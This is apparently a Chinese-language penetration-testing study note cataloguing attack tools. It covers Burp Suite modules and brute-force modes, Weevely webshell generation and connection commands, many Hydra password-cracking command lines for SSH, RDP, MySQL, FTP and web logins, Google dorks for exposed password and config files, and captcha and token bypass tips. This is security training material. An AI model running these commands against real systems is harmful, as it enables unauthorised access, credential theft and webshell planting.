渗透测试-09:渗透工具
火狐插件
- FoxyProxy 标准版
- HackBar
- Max HacKBar
- Flagfox
- Wappalyzer - Technology profiler
- X-Forwarded-For Header
- Cookie Quick Manager
WebShell工具
- Burp Suite
- 菜刀
- 蚁剑
- 冰蝎
- 哥斯拉
- Weevely
Burp Suite
- Dashboard(仪表盘)
- Tasks
- Event log
- Issue activity
- Target
- Site map(网站导航)
- Scope
- Issue definitions
- Proxy(代理模块)
- Intercept(拦截):拦截浏览器的请求
- HTTP history
- WebSockets history
- Options
- Intruder(入侵者-爆破模块)
- Positions:设置 Payloads 的插入点以及爆破模式
- Payloads:设置 payload,配置字典
- Resource Pool
- Options
- Repeater(转发器-重放模块):更改请求参数,伪装请求,防止页面刷新导致数据重置
- Sequencer(定序器):随机数分析
- Live capture
- Manual load
- Analysis options
- Decoder(解码器)
- Comparer(比较器):可视化差异对比
- Logger(记录器)
- Extender(扩展模块):增加插件
- Extensions
- BApp Store
- APIs
- Options
- Project options
- Connections
- HTTP
- TLS
- Session
- Misc
- User options
- Connections
- TLS
- Display
- Misc
4种爆破模式详解
Sniper(狙击手)
从第一个$position$开始放payload,此时其他$position$不会设置payload,当第一个$position$尝试完所有payload后,再开始尝试第二个$position$,以此循环,直至所有$position$的尝试完所有payload
Battering ram(攻城槌)
每次用相同的payload去尝试多个不同的$position$,直至将所有payload尝试完为止
Pitchfork(干草叉)
在不同的$position$中设置不同的payload组,采用一一对应的形式进行匹配,如果payload组中的数量不同,直到将数量少的payload组中的payload匹配完为止
Cluster bomb(集束炸弹)
在不同的$position$中设置不同的payload组,对payload进行排列组合(类似于笛卡尔乘积)后进行匹配
Weevely
man weevely
# 生成连接文件
weevely generate cmd ./shell.php
# 连接webshell
weevely http://[url]/shell.php cmd
社工字典
- Pydictor
- 彩虹表
爆破工具
- Hydra
- xHydra
- Medusa
暴力破解类别
- 常见的网站前后台登录窗口,可用
Burp进行爆破,主要是http、https协议 POP3/SMB/RDP/SSH/FTP/POP3/Telnet/MYSQL等协议hydra、medusa等工具- 操作系统登录爆破:主要是
RDP(远程桌面协议)和SSH协议,也可利用Hydra、Join等工具爆破 - 离线爆破:编写相应的
python脚本进行本地爆破,一般适用于拿到密文hash值的情况
Hydra
破解ssh的密码:
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh -f
破解rdp:
hydra IP rdp -l administrator -P pass.txt -V
破解mysql:
hydra -l root –P pass.txt –e ns 127.0.0.1 mysql
破解ftp:
hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
破解telnet:
hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
破解https:
hydra -m /index.php -l username -P pass.txt IP https
破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
破解cisco:
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
hydra -l administrator -P pass.txt IP smb
破解pop3
hydra -l muts -P pass.txt my.pop3.mail pop3
破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
post方式提交,破解web登录(目标网站登录时候需要验证码就无法破解):
hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:invalido ”
破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,
http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,后面中的内容是表示错误猜解的返回信息提示,可以自定义。
参数说明:
-R 根据上一次进度继续破解
-S 使用SSL协议连接
-s 指定端口
-l 指定用户名
-L 指定用户名字典(文件)
-p 指定密码破解
-P 指定密码字典(文件)
-e 空密码探测和指定用户密码探测(ns)
-C 用户名可以用:分割(username:password)可以代替-l username -p password
-o 输出文件
-t 指定多线程数量,默认为16个线程
-vV 显示详细过程
-f 爆破出结果后停止爆破
server 目标IP
service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)
漏洞扫描工具
- RDPScan
搜索语法
- FOFA
- Shodan
site:域名 (相关信息)
intitle:标题关键字
allintitle:关键字1 关键字2
inurl:url关键字
allinurl:url关键字1 url关键字2
intext:正文关键字
python filetype:pdf
link:url
filetype:ppt,asp,php,mdb
+
- 过滤内容
.
* 通配符
"" 精确查询
搜索语法案例
排除子域名
site:baidu.com -site:video.baidu.com
用户名和密码文件
filetype:txt intext:username and password
指定端口网站
inurl:8443 -intext:8443
敏感文件
site:tw filetype:inc intext:mysql_connect
特定网站
intitle:"apache tomacat" inurl:8080
父级路径
intext:to parent directory
intext:转到父目录/转到父路径
asp上传漏洞网页
inurl:upload.asp
搜索mdb文件
intext:to parent directory + intext:mdb
子域名查询
site:xx.com 返回所有与该站有关的 url
site:xx.com filetype:txt 查找 TXT 文件 其他的以此类推
查找后台
site:xx.com intext:管理
site:xx.com inurl:login
site:xx.com intitle:"后台"
查看服务器使用的程序
site:xx.com filetype:asp
site:xx.com filetype:php
查看上传漏洞
site:xx.com inurl:file
site:xx.com inurl:upload
查找注入点
site:xx.com filetype:asp
inurl:index.php?id=
目录遍历漏洞
site:域名 intitle:"index of"
配置文件泄露
site:域名 ext:xml | ext:conf | ext:cnf | ext:reg | ext:inf | ext:rdp | ext:cfg | ext:txt | ext:ora | ext:ini
数据库文件泄露
site:域名 ext:sql | ext:dbf | ext:mdb
日志文件泄露
site:域名 ext:log
备份和历史文件
site:域名 ext:bkf | ext:bkp | ext:bak | ext:old | ext:backup
SQL错误
site:域名 intext:"sql syntax near" |
intext:"syntax error has occurred" |
intext:”incorrect syntax near” |
intext:”unexpected end of SQL command” |
intext:”Warning: mysql_connect()” |
intext:”Warning: mysql_query()” |
intext:”Warning: pg_connect()”
公开文件信息
site: 域名 ext:doc | ext:docx | ext:odt | ext:pdf | ext:rtf | ext:sxw | ext:psw | ext:ppt | ext:pptx | ext:pps | ext:csv | ext:xml
phpinfo()
site:域名 ext:php intitle:phpinfo "published by the PHP Group"
其他
"Login:" "password =" filetype:xls (搜索存储在 excel 文件中含有 password 的数据)
allinurl:auth_user_file.txt (搜索包含在服务器上的 auth_user_file.txt 的文件)
filetype:xls inurl:"password.xls" (查找用户名和密码以 excel 格式)这个命令可以变为"admin.xls"
intitle:login password (获取登陆页面的连接,登陆关键词在标题中)
intitle:"Index of" master.passwd (密码页面索引)
index of / backup (搜索服务器上的备份文件)
intitle:index.of people.lst (包含 people.list 的网页)
intitle:index.of passwd.bak (密码备份文件)
intitle:"Index of" pwd.db (搜索数据库密码文件)
intitle:"Index of .. etc" passwd (安装密码建立页面索引)
index.of passlist.txt (以纯文本的形式加载包含 passlist.txt 的页面)
index.of.secret (显示包含机密的文档,.gov 类型的网站除外) 还可以使用:index.of.private
filetype:xls username password email (查找表格中含有 username 和 password 的列的 xls 文件)
"*# PhpMyAdmin MySQL-Dump" filetype:txt (列出包含敏感数据的基于 php 的页面)
验证码绕过
前端绕过
- 修改/删除 js 代码
- 浏览器禁用 js
后端绕过:利用 Burp Suite 的爆破模块,固定验证码进行爆破
判断前端验证和后端验证,看提交后表单数据是否还在页面显示,如果还在则为前端验证,否则是后端验证
验证码识别工具
- pkav
- F-Verify
Token 绕过
Burp Suite 要设置为一一对应模式,由于服务端每次返回的token都是不同的,所以爆破时线程必须为1,不然线程竞争时token将会被覆盖而导致认证失败